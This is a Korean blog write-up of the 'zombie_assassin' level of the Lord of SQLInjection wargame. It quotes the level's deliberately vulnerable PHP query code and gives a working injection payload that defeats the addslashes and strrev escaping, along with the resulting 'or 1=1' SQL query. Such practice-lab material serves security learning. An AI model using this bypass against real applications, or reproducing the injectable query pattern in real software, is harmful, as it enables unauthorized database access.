[Lord of SQLInjection]zombie_assassin write up

zzsla·2023년 6월 26일

문제 정보

없다

문제

문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.

분석

get으로 요청된 id, pw값에 addslashes\를 넣고, strrev로 입력값을 순서를 뒤집는다.

  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));

get으로 요청된 id, pw값에 prob, _, ., ()가 들어가면 프로그램이 죽는다. 즉 이 부분이 필텨링 부분이다.

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

그 다음은 query에 sql명령문이 나온다.
명령문은 id를 찾는데 prob_zombie_assassin이라는 테이블에 있어야 하고, id, pw에 get으로 요청된 값이어야 한다.

  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 

그리고 id를 찾으면 문제가 풀린다.

  if($result['id']) solve("zombie_assassin"); 

취약점

addslashesstrrev를 이용해서 '를 잘 제거하면 or문을 이용해서 문제를 풀 수 있다.

익스플로잇

일단 "id에 넣으면 \가 생기는데 반전이 되면서 \가 뒤로 가게 된다. 그러면 id 뒤에 있는 '\로 제거해서 문자열을 pw='까지 문자열로 만든다. 그리고 잘 문자열을 반대로 적어서 보내면 문제가 풀린다.
/?id="&pw=- -- 1=1 ro

익스플로잇을 넣었을 때 실행될 sql query

select id from prob_zombie_assassin where id='"\' and pw='or 1=1 -- - '
profile
[README]newbi security hacker :p

0개의 댓글